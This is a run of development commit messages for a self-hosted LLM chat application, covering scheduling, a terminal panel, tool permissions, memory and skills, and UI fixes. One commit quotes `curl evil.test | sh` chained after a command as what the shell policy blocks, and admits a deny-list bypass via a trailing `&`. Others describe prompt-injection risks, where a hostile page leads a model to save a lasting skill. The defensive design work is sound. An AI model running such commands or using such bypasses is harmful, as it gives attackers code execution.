An instance that can be somebody else's
A name, a tagline, a logo, a favicon and the launcher icons derived from it; the Middle-earth strings as data; themes as token sets; and a stylesheet for what none of that reaches. All four are on one page, in one settings group. The snapshot is a Jinja global over a process-level cache, because render() has no session and four render paths never reach it at all -- the sign-in page, the error pages, the offline page and the SSE fragments. A context value would have had to be threaded through every one and would still have missed those. It being a global is also what lets mark() branch on an uploaded logo without any of its six call sites learning about branding; the macro that renders the sidebar link is called brandlink now, because a macro imported as `brand` shadows the global for the whole template and took out every page at once. Defaults in code and overrides in the database, as the prompt fragments do, with one difference stated in the module: an empty fragment means off, an empty flavour string means the shipped wording. And blanked rather than dropped -- settings_store.update merges, so an omitted key leaves what was stored last time and "I typed the default back in" would store something different from "I changed nothing". A custom theme sets a handful of tokens and inherits the rest, and the inheritance is a CSS fact: tokens.css matches [data-base="shire"] as well as [data-theme="shire"], so a custom light theme lands on parchment rather than four light colours on near-black. Values are validated on read rather than on save, because a theme written straight into the settings table still has to produce a stylesheet that parses -- a `}` in a value ends the rule and silently breaks every rule after it. The soft variants are derived from the accent, or a changed accent leaves focus rings in the old hue and reads as half-working. /branding.css is a route, not an inline block: an external stylesheet has no HTML context to escape from. The link carries a content hash, so a save is not left to the browser's cache, and it is deliberately outside the service worker's precache list, which is versioned by the release. The instance name moved off /admin/general rather than being duplicated there. An upgrade keeps it: the general row is read as a seed exactly while the branding row has never mentioned the name, which is `key in row` and not `row[key] is truthy` -- the two read alike would resurrect the old name underneath a cleared one. The theme list stops being a hard-coded pair in five places. Every failure mode in that area is silent, so it is driven under a DOM stub as well as tested.

Narrow a chat before it starts, and find a file rather than spell it
Six things, all found by using the thing rather than by reading it. The scope menu only appeared once a chat existed, on the reasoning that there was no row to post to. True, and the wrong conclusion: the harness puts a tool's guidance in front of the model the moment the tool is offered, so the menu could not be reached until after the model had been told how to keep notes and handed the tools to do it -- and switching it off then does not un-send that turn. It is on the new-chat screen now and writes nothing: `_scope_context` builds a stand-in Chat, which is `draft.as_chat`'s trick again, and the switches ride along with the first message. Checked means on and a browser submits only the ticked boxes, so every gate also renders a hidden input naming it and `start_chat` subtracts one list from the other; inverting the control would read backwards under a menu that says everything is on unless you say otherwise. Only the off ones are written, because absent means on and one representation of it is what keeps "why is this off?" to a single answer. Nothing is validated against the offered set, since scope_json narrows after every gate -- naming a gate that was never offered switches off something that was not on. Then the scheduling instructions, audited against a 4B model on this machine rather than against my own reading of them. Ten realistic requests, ten compiled, twice over -- so the prompt is sound. What was not sound was `describe`, which built a phrase by joining fragments and read "Every the 1st at 09:00" for the commonest monthly schedule there is, and "Every of January" for a month with no day. That string is the whole of what somebody sees before approving a schedule and the whole of what the model is told about its own chat, so a phrase nobody can parse is a review step nobody performs. It reads as English now, collapses Monday-to-Friday to "every weekday" and seven days to "every day", and every case in the test is a rule that model actually produced. The one mistake it made was naming Wednesday for "every other tuesday", so the weekday numbering is spelled out rather than left as "0-6, Monday is 0": getting that wrong is the error here that still looks like a working schedule. Roughly one call in six also came back empty -- a local runner swapping models under the request will do that -- so an unusable reply is asked for once more before giving up. Not on an LLMError: an endpoint that refused will refuse again, and the reader is better served by the form than by waiting twice for the same answer. Canvas asked for a typed path, which was the last control in the application expecting somebody to remember an absolute path on another machine -- the same complaint the folder page's directory field answered with a picker. /browse takes pick=file and the same fragment makes files buttons, because a second copy of that listing is a second place for the path arithmetic to be got subtly differently. The button carries data-canvas-open rather than an hx-post since the path is not known until the dialog closes, and ui.js posts it through htmx.ajax so the response lands in the panel exactly as every other canvas action's does. The key is `agent:<path>`, so a file opened by hand and one opened by the model are one tab rather than two spellings of it. The tabs already existed and already closed; they now square off at the bottom and the active one takes the body's background, so which is selected is structural rather than a tint nobody can see in a theme they did not choose. Highlighting was already there for every language named and is checked for fifteen of them. Three smaller ones. Tabs kept their scroll position, so switching from a long panel to a short one left the browser clamping to that panel's bottom: the end of it above a screen of nothing, which reads as a page that failed to load. Nothing in CSS can reset a scroll position. The sidebar's footer and the composer sit either side of one vertical edge and were both content-sized, so their top borders met it at different heights and read as one line that had been broken -- `--footer-height` is a calc of the pieces the footer is built from, applied as a min-height to both, which is exactly what `--header-height` already does at the top of the shell. And "Add a workflow" sat flush against the list it adds to, stated as an adjacency because `.btn-row` is right to carry no margin everywhere else it appears. Both pieces of JavaScript were driven under a DOM stub before committing, which is how the tab listener's delegation and the canvas button's six behaviours were checked at all -- `node --check` parses a file that does nothing.

Something can happen because time passed, and land somewhere worth reading
Nothing in LLeMbas ever happened on its own. Every reply was downstream of
somebody pressing Send, and the one exception -- jobs.wake, waking a chat when a
background job finishes -- was downstream of a command they had run. PLAN.md
never listed scheduling as unbuilt because services/chat.py:618 had recorded it
as a decision: "a scheduler is a whole new concern for a single-worker
application". This is that concern, taken on deliberately, plus the two places
its output goes.
Reports first, because it is useful with no scheduling at all. A report is not a
Chat with one Message in it: it has no turns and no reply, it is read top to
bottom, and it must be writable with no chat behind it -- being the fallback for
a run whose own chat has gone. As a Chat it would need a sidebar row per daily
report, a title that regenerates itself, a composer to suppress and a bubble with
a rewind button around something that is not a turn. The section's character is
enforced by absence: nothing under reports/ includes the composer or renders
chat/_message.html, so there is no sse-connect anywhere and nothing on those
pages *can* start a generation. The test reads that off the OpenAPI schema, not
by walking app.routes -- this FastAPI keeps an included router wrapped rather
than flattening it, so the walk finds nothing and the assertion passes for the
wrong reason.
rule.py is pure, total, and was finished before anything called it. No session,
no wall clock, nothing that raises: validate clamps what it recognises, drops
what it does not, and answers {} for prose -- at which point the caller shows the
manual form. It had to be that way because the compile step's output is model
output that becomes a *timer*, which is the sharpest case of hard rule 6 here.
The invariant, pinned: anything validate accepts has a computable next
occurrence. A schedule that can never fire looks exactly like a working one on
every screen it appears on.
Wall-clock and elapsed time are kept apart because they mean different things.
at.times are wall-clock in the owner's zone, so 15:00 stays 15:00 across a
daylight-saving change -- that is what "every Monday at 3PM" means. every is
elapsed real time, so six hours stays six hours across a 23- or 25-hour day --
that is what a timer means. Conflating them gets one of the two wrong twice a
year. A time inside the spring-forward gap fires at the first minute that exists;
left to zoneinfo's own resolution it lands an hour away wearing a wall-clock time
that did not happen, and a daily 02:30 report vanishing once a year on a machine
nobody watches is the failure this file is arranged around.
The ticker claims and commits *before* it fires. The other order is a hot loop: a
firing that raises is retried every tick for ever against whatever it was that
failed, and the only symptom is load. Its blanket except is copied from the
terminal reaper for a sharper reason -- a ticker that dies on one bad row stops
every schedule on the instance and says nothing at all. No request fails, no
reply errors, no dot appears. The reports simply stop.
Three rules that look like bugs from outside: a firing arriving while the chat is
still answering queues rather than starting a second reply, and past max_queued
is skipped with the reason on the row; Run now does not advance next_fire_at, or
testing a schedule silently consumes the run it was testing; resuming recomputes
from now, or a schedule paused for a month fires the instant it comes back, once
per occurrence it missed. Catching up lives in the sweep and not in a startup
hook, because a suspended host and a long stall reproduce "its time passed while
nothing was running" with no restart to hang one on.
services/wake.py is the lock discipline extracted rather than copied. A finished
job and a due schedule are the same problem, and both depend on there being no
await between the running_for check and the writes; two lock dictionaries for one
invariant is how one of them drifts. jobs.wake is now a caller that supplies
wording, and _completion_text stayed exactly where it was because tool.background
quotes its opening sentence.
A scheduled run has no reader, so ask_user is withdrawn from resolve_tools rather
than merely discouraged in core.unattended -- a rule living only in a system
message is one a page the model just read can argue with, and a parked question
holds the reply for the whole approval_timeout with nobody to answer it. For the
same reason a task chat may not be an agent chat in v1: Manual, Edit and Plan all
stop to ask on RISK_EXECUTE, so the only two outcomes would be unattended
execution and a reply that stalls. That deserves its own pass.
Messages is bounded in the request and unbounded on disk. Only the latest chunk
is sent; everything else stays exactly where it was written. Nothing is folded
into text and nothing is deleted -- the visible conversation is identical either
way, so destroying the older rows would buy only disk, against being irreversible
and losing every attachment and tool call in the range, and it would contradict
the rule compaction already holds. should_compact refuses this kind for the
matching reason: two mechanisms narrowing one transcript is how a summary ends up
summarising a summary. The history route is the mirror of thread_tail and keeps
its four properties; the fifth is its own, that prepending moves the scroll
position, so app.js records scrollHeight before the swap and adds the difference
back after.
An empty Chat.kind meant "both sides of the switch" and had been read as "no
filter" since there were only two of them. The sidebar passes "" precisely when
agent chats are switched off -- so the moment a third kind existed, every task
chat and every Messages conversation appeared in somebody's ordinary chat list,
on exactly the instances whose owners would never think to look. KINDS stays the
two-sided fork, because set_sidebar_kind validates against it and a third entry
there makes the tree filterable to a side with no button to leave it; ALL_KINDS
is what a row may be. Both narrowings are pinned, because they are two
implementations of one rule and only one of them is SQL.
Per-user timezone had to exist for any of this: harness.py:179 was telling every
reader the *server's* idea of the date, which is survivable while the answer is
prose and stops being survivable the moment somebody says "every Monday at 3" and
something has to work out when that is.
Three things were caught by a test being wrong rather than by the code being
wrong. The task-chat "no composer" assertions were passing against a page
rendering its no-models-configured branch. A permission test asserted the same
thing twice because the administrator bypasses every permission. And every
Messages test passed with default_model never called, because none of them
configured a model -- so the pair it returns was being assigned straight to
model_id, and SQLite refuses a tuple in a String column. The fixtures now say why
they exist.

A job that finishes reaches the page you are looking at
Three complaints, all downstream of background commands.
A finished job woke the model and not the browser. `jobs.wake` writes the
completion and calls `generation.ensure`, and nothing tells the page: the only
stream here is per-message, opened by the `sse-connect` on an incomplete
assistant bubble -- which is a bubble this page has not got, because the reply
that created it began somewhere else. `_queue_frames` proves the swap works and
can only ride a stream already open. So the reader sat on the chat, watched the
sidebar dot light up for the chat in front of them, and had to click it or
reload to see a reply that had been there for minutes.
`GET /api/chats/{id}/tail?after=` and a five-second poller is the answer, polled
for the reason `/unread` is: a second always-on connection per tab is a lot of
machinery for something that happens a few times a day. A cursor it cannot place
-- absent, from another chat, naming a row a rewind deleted -- is answered with
204 and never with the transcript, which the page still holds every bubble of.
The cut is read from the row so `_inject`'s restamp moves it too, and compared in
SQL, a row read back from SQLite being naive where one still in the session is
aware; the `id >` tie-break is not decoration, since under a bare `>` a row
sharing the cut's microsecond is skipped for ever.
The cursor comes from the DOM, because the DOM is the honest answer to what the
page has -- the composer's POST, the `done` frame and the last poll all move it,
and a variable would have to be updated by each of them, correctly, for ever. On
`htmx:configRequest` rather than `hx-vals="js:…"`: two of the three things that
handler does are cancellations, which `hx-vals` cannot express. Not
`article.msg:last-of-type` either -- that is per-parent, so on a compacted chat
it answers with the last article inside the `<details>` and the poll re-appends
half the conversation. It is silent while a reply streams, since that reply
delivers its own bubbles in the one frame that can get the order right, and a
`htmx:beforeSwap` listener drops any answer holding a bubble already on the page:
the race `hx-sync` cannot reach, and a duplicate there is a second `sse-connect`
for one message rather than a cosmetic one. The route clears `unread` on every
tick including the 204, because `_persist` marks a reply unread whenever
`followers == 0` and that is true of a job-woken reply with somebody watching it.
The completion also claimed the reader had sent it. The role is load-bearing --
`_inject` sends a queued turn verbatim and `build_messages` must keep seeing a
user turn -- so `Message.machine` marks the bubble instead and the request is
untouched. Their initial, their name and a pencil offering to rewrite what a
machine reported: the route refuses the edit too, a hidden button being a
courtesy. `_completion_text` is deliberately unchanged, `tool.background` quoting
its opening sentence to the model, and there is now a test holding the two
together.
And the panel. `.jobs__row` had no horizontal padding while `.picker__menu` has
none either, so every row ran flush into the border under a header inset by
--sp-3. `jobs__row--open` had been emitted since the panel shipped with no rule
anywhere, so the row whose log was on screen looked like the ones that were not.
The dot was keyed on `status`, and `done` is exit 0 and exit 2 alike -- green
beside the row's own "Failed, exit 2" -- so `JobView.tone` answers the colour and
the template goes on answering the wording, which is the half a class name cannot
carry. `duration` is empty for a running job on purpose: this panel is fetched
when somebody opens it and never polled, so a live figure would freeze the
instant it painted. Its stamps are normalised before subtracting, a job started
before a restart and finished after it having one naive and one aware.
Driven under the DOM stub before committing, per the standing rule: two listeners
on document.body for events dispatched at a requesting element are exactly the
shape a regex cannot check.

A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work.

The menu that never appeared, and the reason it never did
composer.js built its menu lazily inside show(), and refresh() wrote list.innerHTML before calling it. `list` is null until build() has run, so the first `/` or `@` ever typed threw a TypeError and took the handler with it. The menu has never appeared in any browser. That is why /compact "isn't there": nothing was. I shipped it having only run `node --check`, which parses the file happily. So this also brings the thing that catches it: a DOM stub driven under node -- not committed, hard rule 1 stands, it is an instrument like curl. It reproduced the crash in one run and immediately found two more: choosing a command from the menu left `/help` sitting in the box so the next Enter ran it again, and Tab completed nothing. Tab now completes and Enter runs, which is the split that matters for a command taking an argument. `.select--sm` was used three times and defined nowhere. I deleted the copy in chat.css and left a comment saying it "is defined once, in app.css", where it did not exist -- so those selects fell back to plain `.select`: width 100% in a flex row where four siblings wanted the same, all of them shrinking together until each was a few characters wide, and half a rem taller than everything beside them. That was the whole of "the connection switch needs to be wider". The connection and directory move to the topbar. They cannot change -- update_chat refuses both with a 409 -- so they are facts about the chat, of a kind with the Temporary badge, not controls on the message. The mode stays by the box. Compaction says it is working. It makes a model call that takes seconds and had no indicator anywhere: `hx-indicator` appears nowhere in this codebase, and the Generation.status channel that says "Summarising earlier messages…" for the automatic path cannot be borrowed, because it lives in the streaming bubble and this endpoint refuses to run while any message is unfinished. The overflow menu now runs the same code as /compact rather than posting for itself, so there is one implementation, one spinner, and one place the endpoint's four carefully written 409s finally reach somebody. /effort, low medium high, per chat with a per-model default. It goes out twice because there is no field that works everywhere: OpenAI and vLLM read reasoning_effort, llama.cpp's own docs say other values "have no effect" and its maintainer says the field "simply gets dropped without error or logging" -- what reaches gpt-oss behind it is chat_template_kwargs. Both are sent, and only once an effort has been chosen, so a provider strict about unknown parameters sees exactly the request it always did until somebody opts in. The control appears only on a model marked `reasoning`, a flag that has existed since the beginning with no reader at all. Mentions and recognised commands are marked as you type -- a mirror behind the textarea holding the same text with every character transparent, contributing nothing but a rounded rectangle, so a pixel of drift is a misplaced rectangle rather than a doubled glyph. A command is marked only when it resolves, so `/thoughts on this` visibly is not one before you send it. And again in the transcript, where user turns had no render step at all and now escape before they inject. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |

The terminal learns where one command ends, and can be dragged wider
"The last command and its output" was not something the panel could honestly offer. sendToChat took the last forty rows of the screen buffer, hard-wrapped at the terminal's width with no way to tell a wrap from a newline -- its own comment said so. So bash and zsh are given the OSC 133 markers VS Code and WezTerm use, and Copy, Send and an Auto toggle are built on those. The integration is written by the PTY command string itself, with printf. sshd runs that string through $SHELL -c, so it can case on the shell's own name and needs no probe, no second channel and no writable home. Passing it through the environment does not work -- every distribution ships AcceptEnv LANG LC_*, so anything else is dropped silently -- and feeding `source ...` in as keystrokes races a slow .zshrc, echoes into the scrollback and lands in shell history. Nothing needs hiding, which is the point of choosing it: the setup runs before the shell exists and never writes to the PTY's input side, so there is nothing to echo and no fan-out gate to build. Two things were wrong in the first version and both were found by running it against real shells rather than the fake one. bash: the DEBUG trap fires before every simple command *including each one inside PROMPT_COMMAND*, so $? read from there is whatever ran a moment ago -- every command reported success. The status is captured in the trap now, which also removes the two-entry PROMPT_COMMAND dance entirely. zsh: $ZDOTDIR is already ours by the time .zshenv runs, so the shims were sourcing themselves and none of the user's configuration loaded; the original is passed on the exec line. Parsing is server-side. The `behind` path resets the terminal and replays a truncated scrollback, so a client parser routinely sees a finish with no start; two tabs share one shell and can disagree; and what comes out of this ends up inside a prompt, so deriving it here leaves nothing to disbelieve. The bytes are fanned out unchanged -- xterm consumes an OSC it has no handler for. Output is bounded head and tail, 48KB and 16KB: a build that fails ten megabytes in has the invocation at the top and the error at the bottom. Carriage returns collapse to the last state of each line, which is the difference between a usable prompt and two megabytes of spinner. The fence is sized to its content, because output containing three backticks would otherwise break out and read as prose. Any shell that is not bash or zsh starts exactly as it did before. The buttons then scrape the screen and say so, and Auto is disabled rather than degraded: forty arbitrary lines on every message is worse than nothing. Also a generic [data-resize] handle, keyboard included, persisted the way the theme is. The inspector and sidebar can have it whenever they want it.

The composer decides what a chat is, and the topbar stops trying
The mode select in the topbar posted with hx-post against a route that only answers PATCH, so every change returned 405 and the mode never moved. htmx shows nothing when a request fails, so the control looked like it worked: the select stayed where you put it and the server ignored you. It has never worked. Two more of the same kind. A mode could not be chosen at all until the chat existed, so reaching Plan meant sending something in Manual first and letting the model answer under the wrong rules. And the project directory box was real and submitted, but unlabelled and squeezed to a few characters by the select beside it, so it read as broken -- which is how it was reported. So the kind, the connection, the directory and the mode move out of the strip above the text and into one toolbar row beneath it, where attach and send already are. The directory becomes a button that opens a browser over SFTP, because a path is something you would rather find than spell. `scan_dir` is new beside `list_dir`: a picker has to tell a directory from a file before it can draw the row, and `list_dir` backs a tool whose contract is a list of names and must not change under a model mid-conversation. Browsing is a person clicking, not a model calling, so it does not pass through policy.py -- the same argument the terminal panel rests on. It does mean Manual mode has a second exception now. Also: .chip was two components with one name, and the attachment card won, so the Chat/Agent pills silently wore its padding. --radius-md was used twice and declared nowhere, so both fell back to 0. .btn.is-active has been set by syncToggles since the terminal landed and styled by nothing. Enter-to-send ignored isComposing, so committing an IME candidate sent the message. The terminal had five colours of a sixteen-colour palette, with fallbacks from a palette that no longer exists.

A terminal panel beside an agent chat
A real shell on the chat's own connection, opened and closed like the inspector and never beside it. The modes govern the model; what a person types is theirs, since they hold the credential and could open the same shell with an ssh client. The model cannot see the panel -- a button copies the output you choose into the composer. The session outlives the socket: closing the panel leaves a build running, and coming back reattaches with the scrollback. Two tabs share one shell and the smaller window decides the size. It ends on an idle timeout, on deleting the chat, on disabling, moving or deleting the connection, and on a restart -- which says why rather than quietly opening a fresh shell that has lost the working directory. The nginx template's `Connection ""` is right for SSE and fails every WebSocket handshake, so `location /` now uses a `map $http_upgrade`; update.sh grows a drift check for it, because the only symptom on a stale vhost is a panel that cannot connect.

A suggestion card sends its prompt
Filling the composer and waiting for Enter made the card a form to review rather than a thing to press. One click, one reply. That changes what a prompt has to be. The built-ins ended mid-sentence -- "My plan: " -- because nothing was sent until the person finished the thought; sent cold they are a model guessing at material nobody gave it. All three are rewritten to ask for what they need, so the first reply is the right question instead. There is a test that they end as complete sentences, since the failure is silent and only visible in the answer. requestSubmit, not submit: it fires the submit event, which is what htmx listens for. Same call the Enter key already makes. Version bumped because app.js is what changed, and the service worker caches it -- without the bump the first load after this would still only fill the box.

Prompt suggestions on the new-chat screen
A blank composer is the least helpful thing a chat client can show someone who has just installed one. Three cards now sit under the empty state, and an administrator manages them at /admin/suggestions. Clicking a card fills the composer and stops there. It deliberately does not send: every default ends mid-sentence, because a card is a starting point rather than a question somebody already asked, and the caret lands where the person has to start typing. Seeding is guarded by a settings flag, not by "is the table empty" -- otherwise an administrator who decided against them would get all three back on every restart. Capped at twelve, six shown: past a dozen this is a menu, and a menu on the empty screen is a worse blank page than a blank page. The cards are gated on there being no chat at all, not on the thread being empty. An empty chat someone opened on purpose already has a model and a prompt chosen. Also fixes a pre-existing bug the position test caught. Both this and _refresh_models wrote `coalesce(max(position), -1) or -1`, and position 0 is falsy -- so the second row landed back on 0 on top of the first. The coalesce was already doing that job; the `or` was undoing it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |

Knowledge, notes, memory and skills, and a harness to make them used
Four places a model can reach for, differing in who writes a record and how it gets in front of the model. **Knowledge** is uploaded by a person and searched by the model. It goes through `services/files.py:prepare` — the same pipeline as a chat attachment — so the same PDF produces the same text whichever way it arrived, and `Document` carries the same content columns as `Attachment` for the same reason. **Notes** are written by the model and edited by you. Too long to inject, so they are searched. **Memory** is short facts, and every one of them goes into every request. That single decision is where the rest of its design comes from: records are capped short, the block has a budget, there is no search tool because the model is already looking at them, and they are not shareable — a record about a person is not content to hand round. **Skills** are saved procedures. Only the name and description are injected; the body is fetched when the model decides one applies, which is what makes a hundred skills affordable. A model may write and revise its own — the safety story is not a gate but a record: every revision is kept, attributed and revertible. A model that has just read a hostile page can save a skill that outlives the conversation, and the honest mitigation is that it is visible and undoable rather than that it was prevented. **The harness** is why any of it gets used. A model handed a tools array ignores it and answers from recall, because nothing in the request suggests otherwise. `services/harness.py` assembles a preamble from what this chat actually has: when to reach for each tool, the memories, the skill index. This is an exception to "system prompts are precedence, not concatenation", and a deliberate one. That rule governs the three *authored* layers and is untouched — exactly one still wins. The harness is a different axis: it describes the machinery rather than the behaviour, nobody authored it, and there is nothing for it to disagree with. It is prepended to whichever authored prompt won, in one system message, since several endpoints reject a second. Supporting changes: - **Sharing**, in one helper. `visible_to()` is the only definition of who can see a library item and every listing and tool goes through it. Sharing grants *reading*; two people editing one note with no history and no merge is worse than copying it. **Administrators do not bypass this** — they bypass permissions elsewhere because an admin can grant themselves those anyway, but reading somebody's private notes is a different act. - **FTS5**, created by `db/migrations.py:ensure_fts` with the triggers an external-content index needs. Idempotent, like the column sync beside it. Terms are ANDed and then ORed: the caller is usually a model writing a whole question, and requiring every word loses the match on one absent term. - **The attach button is a menu** — file, image, a web page, or a document from the library. Attaching a document copies it, because history must not change when a document is edited later. - **A URL fetcher with an SSRF guard.** This server can reach the router, the other services on the box and LLeMbas itself, and the address can come from a model. Private ranges are refused *after resolution* and redirects are followed by hand so every hop is checked. An admin can open it deliberately. - **Model capabilities split** into protocol support and a toggle per built-in tool. Rows predating the split have no `tool_*` keys, and absent counts as on when `tools` is on — otherwise an upgrade silently takes web search away from every model already configured for it. Also fixes the test fixture, which built the schema with `create_all` and so ran against a database without the FTS tables production has; it now runs `sync_schema`, the same path startup takes. 430 tests, ruff clean.

PWA, one send/stop button, audio in and out, web search as a tool
Four pieces of work.
**Installable.** A manifest carrying the instance name, PWA icons rasterised
from the existing mark at design time, a service worker and a themed offline
page. The worker caches the shell only and bails out on /api/, /auth/, /admin/
and anything accepting text/event-stream -- passing a reply stream through a
worker turns it into one delivery at the end, or nothing. It is served from
GET /sw.js rather than the static mount because a worker's scope is the path it
came from.
**Send and Stop are one button.** They were two, and the hidden one was never
hidden: `.btn` is display: inline-flex, which outranks the browser's own
`[hidden] { display: none }`, so Stop sat permanently beside Send. app.css now
forces the attribute to win -- every control toggled with `hidden` depended on
that -- and the composer renders one button carrying both icons, with ui.js
flipping data-composer-action and the type with it.
**Audio.** Speech to text and text to speech against any OpenAI-shaped
/v1/audio/* endpoint: dictate into the composer, have a reply read out.
Instance settings in Admin, per-reader overrides in Settings, with the voice
list discovered from the server where it offers one. Recorded audio is capped
and never written to disk -- it is not an attachment, it has no owner, and
nothing would ever sweep it.
**Web search, as a tool.** This is the tool loop PLAN.md described as the real
work: one reply is now a bounded sequence of requests rather than one. The model
asks, the tool runs, the result goes back and it is asked again, up to three
rounds. Providers are DuckDuckGo (no setup), SearXNG and Firecrawl.
Two decisions worth stating. Tools are only offered to models flagged `tools`,
because an endpoint without support rejects the whole request rather than
ignoring the array -- the same reason images only reach models flagged
`vision`. And tool results are not replayed as context on the next turn, for the
same reasons reasoning is not: the answer already contains what the model made
of them, and replaying stale results into every later request wastes the window
and reliably sends a small model into a search loop. The sources stay visible in
the transcript instead.
Search results are untrusted third-party text and are treated as such: escaped,
and only http/https URLs rendered as links.
338 tests, ruff clean.

Fix attachments never being sent with the message
Uploading an image showed the chip and then did nothing: the file was stored but never reached the model. Two causes, both in the composer template. The chips live in #attachments, and each carries the hidden file_ids input that binds it to the message. That container sat OUTSIDE the <form>, with an `hx-include="#attachments"` on a hidden <div> inside the form meant to pull it back in. That attribute only has an effect on the element issuing the request -- on a child of it, it does nothing. So the form serialised content and nothing else, and post_message saw no file_ids at all. Fixed by putting #attachments inside the form, where the inputs are submitted because they are in the form, rather than because of an attribute that has to be wired correctly. The file input stays outside, since inside it would submit an empty file part on every message. Second: /chat preselected models[0] rather than the model a new chat would actually use. With a vision model set as the default and a non-vision one first in the admin ordering, the composer showed the wrong model, sent the wrong model, and told the user images *would* be sent when they would not. It now resolves through default_model(), the same path /start uses. Every server-side test passed throughout, because the bug was entirely in the wiring between template and browser. Added tests that serialise the rendered form the way a browser does -- every named input inside <form> -- and assert file_ids is among them and the image reaches the model as a content part. Verified they fail with the old markup restored, then pass again. Confirmed end to end against gemma4-e4b-q8: given a drawing, it replied "Left: Green Circle / Right: Orange Triangle". 220 tests, ruff clean.

Split the model admin into a list and a page per model
/admin/models rendered a full edit form for every model. With eight that
was merely long; with a hundred it was unusable, which is the report.
The list is now compact rows only -- avatar, name, badges, position,
reorder buttons, Edit link -- with search across id and display name,
filter tabs (All / Enabled / Disabled / Pinned / Restricted, each with a
count), a connection filter, and pagination at 40. Filters are links, so
a filtered view is a real URL you can keep. Editing moved to
/admin/models/{id}/edit, one model per page, with Previous/Next links so
a freshly imported connection can be tidied without returning to the
list each time.
Measured with 128 models: the list is 73 KB showing 40 rows over 4
pages, and a detail page is 17 KB. The old page would have rendered all
128 forms into one response.
Reordering needed rethinking at that size too. Up/down is fine for
nudging a model one place but hopeless for moving it sixty, so the
detail page has a position field you type into; the value is clamped and
a non-numeric one is ignored rather than throwing. The move buttons take
a `back` field so they return to whatever filtered, paginated view they
were pressed on instead of dumping you at page 1.
Also adds a select-all checkbox for the bulk bar, scoped to a container
selector rather than the page so a future list can carry more than one.
212 tests, ruff clean.

Fix bulk actions, create chats lazily, rework the UI
Seven reported problems.
**Bulk model actions 404'd.** /admin/models/{model_id} was registered
before /admin/models/bulk, and FastAPI matches in registration order, so
"bulk" was parsed as a model id. Moved above the parameterised route,
with a comment saying why, and a regression test.
**Empty chats piled up.** There is now no endpoint that creates one.
"New chat" is a link to /chat, which renders a composer with no row
behind it, and POST /api/chats/start writes the chat together with its
first message. Opening one and walking away leaves nothing.
**Pinning meant two different things.** The picker is now always in the
administrator's position order; pinned models get shortcuts in the chat
sidebar and nothing else. A picker whose order silently differs from the
admin screen is just confusing.
**Model images were missing in chat.** Assistant bubbles now show the
avatar of the model that actually wrote the turn -- which is not always
the model the chat is set to now -- falling back to the LLeMbas mark.
The picker shows it too.
**No global or per-model system prompt.** Three layers now: instance
(Admin -> General), model (Admin -> Models), chat. Precedence, not
concatenation: most specific wins outright. Stacking them reads well in
a settings screen and badly in practice, because two layers that
disagree give the model contradictory instructions and nobody can tell
which is losing. The chat panel shows the inherited prompt as
placeholder text so "leave empty to inherit" is not a guess.
**Alignment and button sizing.** Added --control-h and friends to
tokens.css; every button, input and select takes its height from them,
so a mixed row is flush by construction rather than by per-instance
nudging. Icon buttons are square at that height. Added .btn-row,
.card__header/.card__footer and .grid so pages stop carrying inline
styles, and moved every admin page onto them.
**Settings needed structure.** The user settings page is now tabbed
(Account / Models / Appearance / Security) using radio inputs and
sibling selectors -- no JavaScript, and the browser keeps the chosen tab
across a re-render.
Caught while checking: the chat.css surgery had deleted the attachment,
chip and dropzone rules. Restored, and there is now a check that every
literal class used in a template has a CSS rule.
197 tests, ruff clean.

File attachments: images for vision, PDFs and text into the prompt
Drag, paste or pick a file in the composer. Images go to vision models as multimodal content parts; PDFs and text files have their content extracted and placed in the prompt. Verified end to end against gemma4-e4b-q8 on llama-swap: given a drawing and a text file, it named the red square and blue circle and read the number out of the document. Type is decided by inspecting the bytes, never the filename or the browser's Content-Type -- a .png full of text is stored as text. Images are downscaled to 1400px and re-encoded: a phone photo is several megabytes of base64, which is slow and a large slice of the context window. PDF text is extracted once, at upload, and stored; re-extracting per request would let a reply change because a parser was upgraded. Design points worth keeping: - Images are only sent to models an administrator has marked `vision`. This is not graceful degradation -- most endpoints reject the entire request rather than ignoring an image part. A plain text turn stays a plain string for the same reason: the list form 400s on endpoints that do not implement it. - Images reach the model as base64 data URIs, not links. A local endpoint has no route back to LLeMbas, and a hosted one has no credentials for it. - Non-images are served Content-Disposition: attachment with nosniff, so an uploaded .html can never execute in this origin. Stored names are random; the uploader's name is a label and never a path. - Uploads are unbound until the message is sent, which is what lets a file be removed beforehand. claim() only takes 